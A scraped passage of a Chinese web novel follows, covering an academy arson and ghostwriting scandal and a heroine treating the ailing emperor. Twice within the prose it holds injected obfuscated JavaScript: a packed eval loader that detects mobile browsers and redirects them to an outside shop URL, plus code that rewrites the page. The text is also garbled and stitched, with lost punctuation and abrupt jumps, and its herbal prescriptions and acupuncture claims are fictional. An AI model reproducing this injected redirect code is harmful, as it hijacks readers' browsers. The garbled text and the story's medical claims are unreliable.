高晖落在身侧的拳头紧攥,面皮也青紫一片,高从章死死瞪着高晖,厉声道:“少康!你说!这是不是真的—— 柳明程怎么也想不到事情还扯到了自己儿子身上,他也高声道:“高晖!你慎言! 高晖咬紧牙关,“我与元嘉自幼相识,情同手足,绝不是他说的那般! “我绝不可能看错!孔昱升背靠墙壁,满是鄙薄道:“情同手足的兄弟会交颈而拥耳鬓厮磨?情同手足的兄弟会因你将要说亲而生怨怼? 此言一出,柳明程与高从章皆是眼前一黑,若只有他们几人也就罢了,偏生连江楚城这样的当世大儒也在,二人互视一眼,皆不知如何收场。 裴晏目光扫过表情精彩纷呈的众人,倒也不纠结这些细微末节,他从袖中掏出当日在放火之地发现的铁制之物,又道:“这时当夜在藏书楼一楼东窗之下发现的铁器,这两日我们已经查明,此物极可能是水囊囊嘴,而我们暗访得知,当日高氏众人 上山之时,高晖自己便有这随身水囊,敢问如今水囊在何处?还有,听泉轩每间厢房的灯油皆是添满,但唯独你这几日将灯油用尽,非是你不分昼夜点灯,而是你将灯盏内的灯油,尽数拿去放火的缘故,再加上今夜人赃并获,你于藏书楼放火之事乃是板上钉钉无可辩驳,除此之外,你适才还提起了八年前之事—— 他目光一利,“八年之前,你把三日醉用在了何人身上? 方青晔这时道:“八年前,我们书院只有一个半疯半傻之人,你刚才说的人,是不是当年广安伯府的公子魏旸?魏旸当年病情本有好转,却在春试的武试上与人比武之时狂性大发,最终不受控制坠下了青云崖摔断了双腿,你说的可是他? 方青晔字字铮然,话音落定,屋内顿时响起一片倒抽冷气之声,众人无论老少,皆知当年的广安伯府因何被诛灭满门,而广安伯魏阶的独子患有痴呆癔症更是众所周知,倘若当年高晖用药害过那魏家公子,如今那人早化成了一堆白骨,这罪责又如何论断? 姜离指节绞紧袖口,冷声问:“听闻八年前,高公子也在书院进学,若高公子当真害了那位公子,动机为何?莫不也是因为那位公子撞见了你们的丑事? 薛琦见她又开了口,忍不住道:“阿泠,你少说两句,眼下与你无关了。 姜离紧抿着唇角,一双眸子黑洞洞地盯着高晖。 无关?怎可能无关?! 当年魏旸意外断腿,虞清苓和魏阶心痛难当,她自己也自责多年,更因此事久怪裴晏失信晚归,这八年来的日日夜夜,与他二人而言皆是难解心结,可她怎么也没想到,原来当年的惨剧并非意外…… “我不知道你们在说什么,藏书楼的火是我放的不假,但如今并没有死人,藏书楼烧毁的一切,自有我府上赔给书院便是,我高氏这么多年为书院也尽了不少力,事到如今,想来书院还记得高氏之恩。 高晖背脊笔挺,却是咬死不认,眼下被抓现行他无法狡辩,可八年之前的事无人能找到证据,更别说广安伯府一家子皆是灭族重犯,他只需一口咬定与自己无关,事情便绝对牵扯不到他身上。 方青晔听闻此言,拧眉道:“自然记得,但…… “方院监,事到如今,你也不希望书院再生波 澜吧,少康纨绔无知犯了错,大理寺和陛下如何惩罚我认了,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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薛琦匪夷所思地盯死了薛湛,薛湛见他目光狠厉,瑟瑟地缩着脖子道:“是……是……是孔昱升,他……他…… ” “是我帮他写文章的润笔费罢了。” 冷不丁地歇了半晌的孔昱升又开了口众人震惊回头便见孔昱升也是一副大势已去之态嘲弄道:“他那篇闻名长安的《寒松赋》乃是出自我手。” 薛琦眼前金光大冒身子也跟着一晃方青晔眼疾手快一把将他扶了住“薛中丞息怒啊——” 薛琦指尖颤抖地指着孔昱升“你、你休要污蔑我儿我儿乃是长安第一才子这是满长安皆知之事怎、怎么可能是出自你之手?!” 孔昱升凉凉道:“除了《寒松赋》他在书院两载所作文章 他尚重伤着说完这些难抑地轻咳起来见薛琦气的七窍生烟一个字也说不出来他又道:“薛湛不过中等之资薛大人却硬要他成为少年才子他也不易事到如今他未想杀我去拿回这些东西只怕想的也是我若真的疯傻了他拿走这些证物正好彻底瞒住我为他代笔之事。” 孔昱升苦涩一叹“经此我面落伤疤不可能再入科场我有此行也违了书院院规我已没什么可留恋的了便也懒得隐瞒。” 薛琦胸膛起伏地盯着孔昱升片刻又看向薛湛见薛湛一副满脸泪水的懦弱畏怕之态未反驳一字当下眼皮一翻直往后栽倒下去…… 作者有话要说 我来啦~ 感谢在2024-08-1423:40:52~2024-08-2123:30:12期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出火箭炮的小天使:芝麻与西瓜O_o1个; 感谢投出手榴弹的小天使:艾斯1个; 感谢投出地雷的小天使:阅尽千帆、26932921、(*^▽^*)、聂旻、MINTCAT、285076271个; 感谢灌溉营养液的小天使:赴弋182瓶;不看连载等完结100瓶;懒癌十里90瓶;智慧72瓶;大大的燕子 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裴晏要天亮之后再走 方青晔一个头两个大见姜离给薛琦扎针便先上前送高从章柳明程见状也一脸复杂道:“既然如此我和元嘉也不留了出了这等事我带元嘉回府养伤待伤势养好了再论进学之时方院监应该能准允吧?” 龙阳之好有违天伦为当世所鄙事已至此方青晔明白柳元嘉这一走多半不会再来书院进学便也叹道:“自然那柳侯收拾收拾元嘉私物一并带走吧。” 高从章快步离去走到门口又回身道:“今日之事还请诸位莫要谣传一切自有陛下定夺。” 搬出景德帝便多有威胁之意江楚城和王喆互视一眼只得苦笑。 方青晔将柳明程二人送出院门又吩咐斋夫前去相助待回了屋内便见榻上张伯也被姜离救醒了过来一见屋内乱象张伯吓了一跳“裴世子也在这是——” 裴晏近前道:“让张伯受惊了白日里我得了 御令,的确离开了书院,但我和薛姑娘早已料到凶手不会放过孔昱升,便设下了此局,如今事情已经了了。 宁珏是半个时辰之前被叫醒的,见裴晏去而复返,他立刻明白白日里只是裴晏让凶手放松警惕的障眼法,此刻他也不满道:“师兄瞒着张伯便罢了,连我也瞒着。 他视线扫过恹恹的孔昱升,“所以孔昱升真的会疯傻吗? 姜离也往孔昱升身上看去,“确有疯傻的可能,不过也只有那么一二分可能罢了。 宁珏苦笑,“我就知道!你一整日都在和师兄做局,却都不告诉我,只有我被蒙在鼓里! 方青晔在旁道:“宁公子别气,我和江老先生也是晚上才知道的,事情到了这一步,实在是料想不到,哎,叔父还不知情,就怕他撑不住…… 姜离在旁道:“院监放心,明晨我再给老先生施针,保老先生近三月无忧。 方青晔自是道谢,这时,榻上的薛琦呼吸一颤,颤颤巍巍睁开了双眼。 他目光一晃,立刻看到薛湛缩肩耷背地站在榻尾,薛琦眸子一瞪,抓起案几上的书册砸了过去,“逆子!你这逆子!你竟然让旁人代笔哄骗我,你那《寒松赋》连陛下都夸赞过,你可知道你姑姑对你期望多大!你怎么敢!你怎么敢啊—— 薛琦怒不可遏,想到这消息必会传遍长安,只觉五雷轰顶一般,薛湛见状“扑通跪倒:“父亲,我错了,我知错了,我知道姑姑和父亲对我寄予众望,可、可正是如此,才逼得我走错了路啊,父亲,求父亲息怒…… 薛湛边说边哭,显然精神已是溃败,薛琦见他这幅懦弱模样,还要再骂,姜离上前半步,“父亲息怒,父亲适才怒急攻心十分伤身,事已至此,责骂弟弟已经无用了,他年纪尚轻,只要继续进学,总还是有希望的。 “进学?薛琦看一眼方青晔,“事情到了这个地步,他还有什么脸面在书院进学?此事若是被陛下知晓,他、他这样弄虚作假欺瞒过陛下之人,将来即便入了科场,也会被陛下厌弃,他…… 薛琦五内俱焚,再说不下去,方青晔上前道:“中丞大人息怒,此事也有书院监管不力之责,薛湛还不至双十之龄,还有大半辈子光阴,中丞大人不妨看的长远些。 薛琦面色 苍白地捂着心口,见高从章二人不见了踪影,忙道:“他们呢? 方青晔道:“他们去收拾行李,准备下山了。 薛琦闻言,立刻强撑着坐起来,“好,那我们也不留了,这逆子……哎,我就先带回长安了,等此事彻底了了再议进学之事吧—— 薛湛见状忙起身来扶薛琦,薛琦狠狠瞪他一眼,又看向姜离,姜离便道:“父亲若心意已决,那便先走一步,女儿明日给老先生看完病再回去。 他们来时便未同路,眼下薛琦是一刻都没脸再留,便也应允,“好,那我们就先走,你明日仔细些。 姜离应是,又将父子二人送出了院门。 再返身回来后,便见裴晏走到面色复杂的江楚城身前道:“时辰不早了,多些江老先生配合我们,我送老先生回房—— 江楚城本要婉拒,却见裴晏面色有异,他略一思忖,“也好。 裴晏随即与江楚城二人一同出门往二楼行去,宁珏看着这一幕心生好奇,可一看姜离面色,却是一副早有所料之态,于是立刻凑上前,“你们二人又有什么谋算? 姜离看他一眼,“能有什么谋算—— 她说着往孔昱升身边而去,“孔公子,你不必害怕,此事大理寺主审,无论如何,会保证你的安全,你的伤今晨我说的已经差不多了,你也不必太过悲观。 宁珏站在旁愕然道:“清晨?你说的是昨日清晨?当时他是清醒的?你给他秘法施针的时候,你们还说了话?就是那时商量好的? 姜离并不否认,宁珏这时才明白了前后一切,“好啊,你可真是会哄人,我硬是一点儿异样也没看出来—— 孔昱升的烧伤是真,姜离不置可否,只给孔昱升看伤,待将其安顿好,裴晏面色沉重地下了楼。 方青晔近前道:“他们都下山了,鹤臣,孔昱升如何办? 裴晏道:“记一份完整口供大理寺留用,之后先让他在书院养伤吧,我留一私卫护他周全,直到他伤好之后自行离去,事情到了这一步,他们应该不会再轻举妄动了。 “付家、袁氏,还有一个高家一个柳家,还有……你回长安之后,可得谨慎些,昨日你未遵圣上的御令可会出事? 付、袁两家也就罢了 还有一个高家一个柳家更还有一个薛氏此案牵扯甚广稽查命案反而不是最棘手裴晏颔首“无碍我届时解释清楚便是了付宗源已被带回了大理寺我今日回去面圣也是一样。” 说着话他朝窗外看了看道:“还有半个时辰便天亮问完证供我立刻下山。” 方青晔自尽力配合待九思几个问证的功夫裴晏道:“薛姑娘借一步说话——” 姜离正应声宁珏立时道:“什么事我也想听!” 他一脸探究地看着二人一副打破砂锅问到底之态 宁珏一笑“师兄我何时怕过麻烦?再者说我素来听你的话自然不会给你惹事。” 姜离秀眉皱起裴晏当先走了出去宁珏笑嘻嘻地跟上姜离叹了口气也一同去了外廊之下三人站定裴晏看向姜离道:“适才我已经和老先生问过当年淮安郡王府的旧事他的确记得一件古怪当年淮安郡王过世之后太医署派了白敬之前去核查死因但当时肃王在郡王府也曾过问此事不仅如此他还带了大夫一同核查过郡王的死因但最终肃王没多插手只以白敬之所得为准向圣上奏禀。” 宁珏还以为和书院命案有关不曾想一下听到了“淮安郡王”几字他回想一番纳闷道:“淮安郡王?你们怎么说起了那位贵人?他不是早就过世了吗?” 既然是裴晏准许宁珏来听姜离便瞅着裴晏让他回答。 裴晏道:“此事说来话长简而言之便是自我开始核查旧案无意之中发现当年淮安郡王之死有异而江老先生便是当年郡王治丧之礼官如今他说了此细节之后我们更怀疑淮安郡王之死有异。” 裴晏一早就有核查旧案之心年后还得了景德帝之准宁珏自无怀疑他倒吸一口凉气道:“我记得陛下十分宠爱那位郡王若他死的有异那岂非是一件惊天动地的大事!难怪……难怪你说或许会卷进麻烦!” 宁珏心知此事不小可一双眸子全无畏怕反而亮晶晶的裴晏摇了摇头又看着姜离道:“当年肃王带回去的那位大夫乃是他们王府从前的府 医,名唤程秋实,待回长安后我仔细查一查此人,若能得其下落,或许真相更清楚些。 说至此,裴晏一顿之后又道:“高晖我带回大理寺严审。 这话像对他二人说的,宁珏一愣,“高晖不是已经交代完了?哦,不对,还有那八年之前的事,他若真是害过那魏家公子,呵,那他只怕不会认。 提起广安伯府,宁珏面色趋冷,更是一副局外人看戏之态,姜离默了默,心中明白裴晏所言何意,便道:“我明白,你们待会儿尽快下山吧,有圣令在先,莫要拖 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怀夕绕了一圈,总算问出了心底疑惑,便见姜离眼睫轻颤,瞳底一片沉郁,“当年事发之后,兄长重伤昏迷,而那三日醉一旦服下,脉象上很难看出古怪,彼时他双腿腿骨折断,身上多处血流如注,我和书院里的先生都以治他的腿伤为重,一番兵荒马乱下来,谁也没深究他为何狂性大发,都以为他因比试又发了癔症,等他三日之后醒来,神思全然清醒,便也无人想到他发狂失控乃是有人下毒。 才从书院离开,当年那血腥的场面似还历历在目,见姜离面若冰霜,怀夕咬牙道:“但已经过了八年,只怕他死也不会认。 姜离秀眸轻眯起来,森然道:“不急,他不是还活生生的 在长安吗? 怀夕少见姜离露出狠色,此刻不禁一个激灵,但很快,她低声道:“姑娘想做什么让奴婢去做便是,姑娘的手是悬壶济世的手。 姜离闻言淡笑一下,拍拍她的手背并未多言。 马车一路慢行,至申时方入长安城,午后的朱雀大街正热闹纷呈,主仆三人虽只离开五日,此刻也有种突入繁华之感,近家心切,长恭扬鞭疾驰,两刻钟后,马车驶入了官宅林立的平康坊。 姜离一路行来已有些疲惫,此刻正靠着车璧闭目养神,眼看着车速渐缓,似是薛府要到了,却忽然听闻怀夕道:“姑娘,好像是宫里的马车,哎,薛大人也在门口,好像出什么事了—— 姜离猝然睁眼,从车窗探看出去,果然看到一辆朱漆宝盖的马车停在薛府之外,姜离眼底闪过疑窦,待她们的马车靠近,一个眼尖的内侍发现了她们! “公公,薛大小姐回来了—— 话音落定,一个乌袍内侍自马车前转了出来,姜离定睛一瞧,竟是当初淑妃娘娘派来帮尚药局传话的于公公,她心头一跳,不知怎么生出些不好的预感。 同一时间,公公于颂也看到了她,他面露喜色,又忙不迭上前来道:“大小姐!大小姐终于回来了,小人等了一个时辰了—— 马车停稳,薛琦也迎了上来,“怎么这么慢! 薛琦抱怨一句,姜离疑道:“于公公,父亲,这是出了何事? 于公公苦着脸,低声道:“请大小姐速速随小人入宫看诊—— 姜离心头一跳,“皇后娘娘病了? 于公公警惕地左右探看一番,定声道:“大小姐,不是皇后娘娘,是陛下—— “怎会是陛下?姜离大骇。 于公公竹筒倒豆一般道:“今天天色还未亮之时,陛下突发旧疾,恰逢给陛下看病的严太医不在,只立刻让昨夜留守的宋太医来看诊,可因陛下病疾迅猛,宋太医一时也束手无策,如此也就罢了,正着急时,竟有个医女大着胆子给陛下施针,结果不知怎么令陛下见了血病的更重,待几位老太医一起入宫时,陛下已是人事不省了。随后那医女被贵妃娘娘关入了御惩司,几位太医也合力救治,可直到午时,陛下也未见好转,尚药局和太医署的太医们都在宫里候着,每个人都请了脉,可硬是没有个救治之法,诸位娘娘也心急如焚,淑妃娘娘便命小人来请您入宫—— 一听是景德帝病倒,姜离一颗心也高悬起来,立刻道:“既是如此,那我们立刻入宫! 话音刚落,姜离忽有所感似的问:“那个被贵妃娘娘关起来的医女是何人? 于公公叹道,“是尚药局一个叫明卉的。 姜离一愕,忙道:“快,进宫! 作者有话要说 我来啦~ 结尾微修了一下。 你的朋友正在书荒,快去帮帮他吧 第 171 章 医病救人 第171章医病救人 时近酉时,落日熔金,暮云合璧,姜离跟在薛琦与于颂身后,入承天门一路往北,再过宣政殿,又行过一段守卫森严的宫廊方到了景德帝安寝的太极殿。 刚走上白玉石铺就的殿前回廊,便见檐下十多个着鸦青官服的侍御医低垂脑袋,眼观鼻鼻观心地静立在外,仲春斜阳映照在他们面上,可每个人的眉眼间似覆腊九寒天的冰霜,眼底更盛满了恐惧与惶然。 “薛中丞来了——” 也不知是谁小声轻呼一声,殿门前乌压压的锦衣鬓影皆往东面看来,人群之中,一袭藕荷色宫裙的淑妃娘娘当先焦急地迎了过来。 于颂与薛琦加快脚步,与一众御医擦肩而过时,所有侍御医的目光都犹疑地落在姜离面上。 姜离袖中指节微攥,待到了淑妃跟前,方见殿门紧闭,在殿前等候的除了淑妃,还有太子李霂、肃王李昀、德王李尧和庆阳、宜阳两位公主,除了他们,还有殷贤妃与太子妃薛兰时,她二人身后,还站着裴晏、宁珏、姚璋、袁兴武等一众外臣。 裴晏目光切切看来,二人遥遥相望一瞬,淑妃已拉住了姜离的手,“终于来了!” 她语声略带慌忙,“好孩子,莫怕,除了本宫,太子殿下和两位公主殿下,还有裴世子也十分信你的医术,来,跟本宫进来——” 薛琦低声道:“泠儿,绝不可出差错!” 姜离来不及应话,也来不及朝太子等人行礼,便被淑妃一路拉到了殿门之前。 “贵妃娘娘,人来了——” 淑妃话音落定,殿门开合间,姜离步入了这九武至尊的寝殿。 殿内门窗紧闭,青铜鹤首宫灯灯火通明,沿着绣纹繁复的黼黻一路往北,很快,姜离看到蟠龙帷帐四垂的龙榻上,景德帝李裕面色青灰地躺在那里。 六年前,正月初一黎明时分,姜离曾在宣政殿上拜见天颜,可那时的她似阶下之囚,只轻轻一瞥,并未看清天子面容,她只记得景德帝高高在上,威严慑人,看着她的目光似千钧之剑,压的她喘不过气来。 直至此刻,她才看清了景德帝的模样,将至花甲之龄的景德帝身材尚算魁梧,身形却已经十分削瘦,他双颊浅凹,剑眉入鬓,满头 长发花白,面色褐浊,口唇青紫,微弱的呼吸若不细察,甚至让人生出某种可怖的错觉。 可即便是这样一个奄奄一息,生死难明的老者,姜离视线落过去的那一刻,不仅一颗心高悬,连背脊也沁出了几分冷意。 “贵妃娘娘,这就是薛氏大小姐,让她试一试吧。 淑妃使劲握着姜离的手,仿佛以此来给她信心,姜离视线一抬即低,也看清了站在床头着华贵宫裙的贵妃高琼华。 她年过半百,姿仪却仍如她的名字一般典雅矜贵,她鬓发高挽,铅粉掩住大半皱纹,一双斜飞柳叶眉更衬出她三分威严七分雍容,此刻,她微陷的凤眸轻眯起来,上下打量姜离之后立刻道:“既然淑妃也信她,那好,先让她问脉。 龙榻之前还守着大太监于世忠以及严明礼在内的三位太医,见状严明礼想说什么,高琼花一个眼神落来,严明礼立刻把即将出口的话咽了下去。 淑妃拧眉道:“好歹说一说陛下病况—— 高贵妃面无表情道:“不是说她是长安城最出众的女医吗?想来一请脉她什么都知道,让本宫看看她厉害在何处。 淑妃欲言又止,又忧心地看向姜离,姜离抬眸看她一眼,恭敬道:“谨遵贵妃娘娘之令,臣女愿意一试。 高琼华眯起眸子,“好,于世忠—— 于世忠轻声应是,又躬身上前,轻轻地把景德帝的手腕拨露出来,姜离定了定神,挽起袖子上前问脉。- “师兄,这—— 殿门之外鸦雀无声,殿内的动静便也模模糊糊传了出来,宁珏闻言担忧地看向裴晏,又忍不住低声道:“她能行吗? 裴晏并不做声,只定定看着殿门,仿佛能透过厚重的木门看向殿阁深处,不远处,太子妃薛兰时攥紧了双手,另一侧的薛琦也额生薄汗。 肃王李昀咬着牙道:“几位老太医都没法子的病,竟然让一个小姑娘来治,今日若出了岔子,也不知兄长如何向朝野交代? 太子李霂亦一脸沉重,“即便薛泠并无医治之法,做为陛下亲子,本宫也算尽了全力,二弟惯会口舌之争,不知二弟有何良策? 肃王话头一滞,只哼道:“用个小姑娘来给父皇救急,倒的确是兄长的良策。 肃王嘲弄 之意分明,一众外臣闻言愈发噤若寒蝉,太子李霂已被册立十八年,若今朝景德帝之病无药可医,那他便是最名正言顺继位之人,而几乎所有人都知道,他李霂等这一日已经等了太久。 李霂闻言却仿佛没听见其中大逆不道之揣测,只微微闭上眸子入了定,仿佛对姜离的医术成竹在胸。 见李霂不接招,李昀只得冷哼一声也默然下来。- 太极殿内,高琼华等人目不转睛地看着姜离,淑妃担忧地站在原地,一时去看景德帝灰败的面色,一时又去看姜离沉定的眉眼,便见她一边请着脉,目光也落在景德帝面上,而那双清凌的瞳底似一汪静水深潭,并无丝毫惊惶。 高琼华见姜离岿然不动,她自己莫名生出一股子不耐之感,就在她等的快忍不住之时,姜离忽然起身,伸手探向了景德帝口唇—— 高琼华想出声制止,可见姜离神容镇定,犹豫间又起好奇,便见姜离探完景德帝口唇,又抬手往景德帝四肢触去,稍作按压之后,她退回半步开了口。 “陛下舌绛红,苔黄腻,脉弦而缓,又观面色灰败,眼下青黑,口唇发紫,兼下肢浮肿,疑是湿热中阻,气机阻滞,夹虚夹瘀的肾痨石淋之症,当伴神疲乏力,少言寡语,时有恶心呕吐,腰背偶痛之状,并食少,溺溲量少且余沥不尽。” 姜离敛眸说完,高琼华当先挑高了眉头,见于世忠瞪大眸子要说话,她一抬手道:“那你可有医治的法子?” 姜离继续道:“当治以清热燥湿,通腑泄浊,益气化瘀,散结通络,可汤液与针灸并用。” 话音落定,殿内诡异一静,淑妃长松一口气,又满是期待地看向高琼华,高琼华略一点头,“严太医,你如何说?” 严明礼面色复杂道:“得先看看薛姑娘开的方子。” 姜离略作思忖,“拟方苍术、白术、猪苓各十钱,泽泻、黄芩、黄柏八钱,金钱草、大黄、黄芪、丹参六钱,川牛膝三钱,六一散七钱。方中苍术、白术、猪苓、泽泻、金钱草、黄柏、六一散等清热燥湿以健运;大黄、土茯苓、萆薢、虎杖、六一散等通利便溺以除 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591627|108220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邪毒;穿山甲则通经络,消坚散积,祛邪养阳。①” 姜离说完看向严明礼三人,“严大人以为如何?” 严明礼略一犹豫道:“确说得 通但陛下沉疴已久脏腑早已失和虎杖、金钱草等药药性迅猛恐陛下体虚难受——” 姜离闻言便也明白了为何这么多太医“束手无策”并非无策而是畏惧景德帝体虚之故不敢下猛药她便道:“陛下却已现气机紊乱脏腑失和之状因而清气不升浊气不降瘀阻于内发为本病。故而施药当从源着手清除病根若畏而施柔陛下之疾自当江河渐下终至油尽灯枯我以清热燥湿通腑泄浊治其标益气活络破瘀散结攻其本此乃《内经》‘结者散之’、‘坚者削之’之意虎杖、金钱草六一散等诸药联用方标本兼治攻补兼施扶正除邪①。” 见姜离言辞笃定严明礼不知如何反驳高琼华立刻道:“于世忠按方用药。” 于世忠应声亲自带着两个近侍小太监出得殿门外头众人听见此动静不禁为姜离松了口气肃王看了一眼太子轻声道:“也不知兄长欣然与否?” 殿阁之内高琼华又道:“早间严太医他们给陛下施针一次药也用过了陛下短暂醒来片刻之后复又昏睡了过去本宫听闻你尤擅针灸施针可能让陛下醒来?” 姜离沉吟一瞬道:“臣女不敢妄语只尽力一试。” 言毕她又问:“敢问娘娘陛下从前虽偶有腰痛之状但用药可缓今晨病发之时却是腰痛极剧用药无效后剧痛之下晕厥不醒可对?” 高琼华皱眉道:“正是如此。” 姜离心中有数于是笃色上前 姜离此刻正握着景德帝的右手细看这时她忽然道:“严大人过谦了大人不是找到了急救陛下之症的关窍吗?” 她如此一言严明礼三人皆是一愣。 高琼华见她捧着景德帝手背也忽地想到了什么“你是说——” 姜离指着景德帝手背第三指与第四指之间的青紫针眼道:“娘娘此穴名为‘阳光穴’患肾痨石淋之症者若痛疾猛发可选毫针以针头朝腕侧斜刺得气后施泻针之法每一刻钟行针一次使针感延续半个时辰之后再按泻法起 针②,而其间此穴若有黑血流出,则可效用翻倍,令病患剧痛消解,还能促气机畅行,温养脏腑。” 姜离说完此话,又有些纳闷道:“但不知严太医,或是另外两位太医,为何不曾施针到底?若能半个时辰再起针,虽不解病根,但陛下或许已经醒来。” 高琼华一时目瞪口呆,严明礼三人面上亦是青白交加,三人互视一瞬,又瞟一眼高琼华,很快,严明礼主动上前道:“原来如此!姑娘误会了,施针之人并非我三人,而是尚药局的一位医女,因我们未见过此等救急之法,误以为她……她有意损伤圣体,还欲请娘娘责罚她,却原来都是误会……” 姜离只做惊讶,“竟是如此?那她不仅无罪,还当有功才是,若非她针刺放血,陛下所受苦痛不止于此。” 严明礼面露苦涩,又拱手一拜,“娘娘,都是微臣的罪过。” 高琼华气哼一声,对不远处的嬷嬷不耐地摆了摆手,待那嬷嬷领令而去,高琼华忙道:“既如此,还不快给陛下施针——” 姜离心底暗松一口气,“是。” 作者有话要说 ①②来自参考资料。 第 172 章 旧恨难平 第172章旧恨难平 “怎么还没动静?” 姜离施针完已是两炷香的时辰之后,高琼华坐在榻沿上,目不转睛地看着景德帝,未几,又焦急地看向姜离。 姜离躬身道:“刚用了药,只怕还要等上片刻。” 高琼华叹了口气,目光幽幽地看着景德帝,眉眼之间更笼罩着一层沉郁,谁也不知她在想什么。 又过了一刻钟,窗外天色昏暗下来,于世忠吩咐小太监再添宫灯,正忙乱之时,榻上之人发出一声轻咳,下一刻,景德帝终于睁开了眼。 “陛下!陛下您醒了?” 高琼华喜不自胜,淑妃也连忙走近了些,景德帝虚虚睁开眸子,瞧见榻前二人,眼底并无意外,但很快,他目光一晃看向了五六步开外的姜离。 淑妃忙道:“陛下,这就是薛氏那位大小姐,今日您病发迅猛,太医们一时没了章法,臣妾和太子想着薛姑娘医术了得,便请她来为您看诊,适才她施了针,又用了新方,您这才醒了过来——” “臣女拜见陛下。”姜离跪地行礼,不敢抬头半分。 景德帝缓了片刻,哑声道:“平身吧,朕知道你。” 姜离谢恩起身,低眉站在原地,淑妃见状道:“好孩子,快过来看看陛下眼下如何了?” 姜离应是,待近前,便对上了景德帝混浊的目光。 李裕年轻时生得一双桃花眼,俊眉高鼻,英武风流,到了垂垂暮年,枯槁的面皮之下仍是一副刀削斧刻的骨相,此刻虽多有病弱之态,其不怒自威的帝王威仪仍不可小觑,姜离不敢与之对视,只弯身请脉。 很快她道:“陛下沉疴已久,下焦积热尤甚,除了施针与汤液,臣女还可施捏脊与按摩经络之法帮陛下清涤积热——” 高琼华不禁道:“效用可大?” 姜离颔首,“两日一次陛下石淋之症半月可缓,肾痨虚热之症则需长久调理。” 高琼华便道:“既是如此,那陛下就让这孩子试试吧?” 景德帝略有艰难地喘了口气,“也好。” 高琼华起身,便见姜离净了手,先按压景德帝双手手背穴位,又令于世忠帮景德帝俯趴在榻,姜离素手行捏脊通络之法,又一刻 钟的时辰之后,景德帝沉重的气息果然轻松了几分。 姜离退开来,“陛下如今必觉腰痛,但陛下不可久卧,不仅如此,陛下还要饮足水,由侍从们扶着与殿中走动,一刻钟一停——” 说至此,姜离面露难色,又看向于世忠道:“请公公近前。” 于世忠闻言缓步上前,便闻姜离在其耳边轻语了两句,他听完有些讶异,姜离却眼观鼻鼻观心一脸泰然,于世忠随即露赞赏之意,“好,姑娘的意思咱家明白了,今夜咱家定会好好侍奉陛下——” 石淋者,淋而出石也,肾主水,水结则化为石,故肾客砂石。肾虚为热所乘,热则成淋。其病之状多为溲溺不能卒出,痛引少腹,膀胱里急①,再加上景德帝患有肾痨之症,重可致命,不得轻慢。如今针药齐用,当务之急便是令景德帝溲溺顺遂,若砂石遂出,则无性命之危,若不出则当真更为棘手。 但这等私隐之事,姜离不好直言,只能令于世忠贴身细察。 高琼华几人皆不知姜离吩咐了什么,见于世忠所言,便也知她自有条理,淑妃看看景德帝,再看看姜离,迟疑道:“时辰已晚,太子殿下他们一直守在外面,还有几个陛下想见的外臣也一直守着,陛下可要遣走他们?” 这片刻间景德帝已缓和许多,闻言道:“不必,给朕更衣,让他们稍后来见。” 高琼华欲劝阻,“陛下尚在病中,何必如此辛劳?” 景德帝不容置疑,于世忠忙近前为其更衣,景德帝这时又看向不远处的姜离,语声和煦了几分,“你叫薛泠?今日你问疾有方,当赏。” 姜离躬身谢恩,淑妃彻底放下心来,“好,陛下既要问政事,臣妾便命人送这孩子出宫,头次给陛下看诊,只怕心底也害怕着呢。” 景德帝微微颔首,淑妃遂带着姜离告退,甫一出殿门,便见殿外众人仍在檐灯下候着,见她二人出来,肃王立刻迎上来,“娘娘,父皇如何了?” 淑妃一笑道:“王爷安心,已经醒过来了,薛姑娘有法子治,今夜先用药,王爷和太子都先候着,裴世子你们也等着,陛下这会儿在更衣,稍后是要见你们的。” 此言落定,众人都长松了一口气,太子近前道:“泠儿,你做的很好,待会儿让你姑姑送些你喜欢的珍宝,若明日还 需你入宫你务必尽心。” 众目睽睽之下姜离自然道:“谨遵殿下之令。” 说着话薛兰时也上前来握住姜离的手道:“好姑娘幸而有你走吧让你父亲带着你跟我回东宫喜欢什么自己挑去——” 景德帝病情初定内眷多留无益薛琦今日并无公务禀告自也不便久留如此安排淑妃也乐见“好那我就把她交给太子妃了泠儿医术高明实乃薛氏之福。” 薛兰时含笑应是遂带着姜离二人往东宫去数十目光紧盯着姜离不便与裴晏说什么只得先作别不提。- 一路上前后侍从相护三人皆无话待回景仪宫刚进殿门薛兰时便递给明夏一个眼色明夏会意令内外侍婢退下合上殿门后守卫在外。 “哥哥你派人送来的消息到底是什么意思?午时父皇病倒我与太子入宫侍疾这一整日我又担心父皇出事又想着湛儿之事白鹭山书院到底怎么了?!” 薛兰时面沉若水被她紧盯着的薛琦则面如死灰“娘娘湛儿今岁是入不了科场了!” 薛琦哑声哀叹一句不等薛兰时发问只将书院所生之事简明道来 薛琦苦涩道:“娘娘是真的但凡湛儿是被污蔑我也不容那人苟活可回程路上湛儿已交代了前后因果那人所言并非作假他哭诉是被我逼得狠了又羡慕那学子文采便生了妄念。本来只是写一篇文赋拿回来讨我开心却不想那文章被我传了出去继而连陛下都知道了。我下山时交代过那院监不可多言但当时在场之人颇多尤其那王喆此人乃是肃王一脉他既然知晓肃王断不可能轻放此事等到明日……不只怕今天夜里消息就会不胫而走早晚会传到陛下跟前。” 薛琦悔不当初“早知如此我就不为他造什么长安第一才子之名了陛下最厌弄虚作假之人若知晓此事轻则斥责重则欺君届时只怕还会连累娘娘。” 薛兰时落在迎枕上的手紧攥又咬牙道:“这就是哥哥教出来的好儿子!那姚氏本就是个乐伎却得哥哥宠信连她的孩子都分外爱重如今竟教出来 这样的酒囊饭袋他……他这是要害苦了我们!” 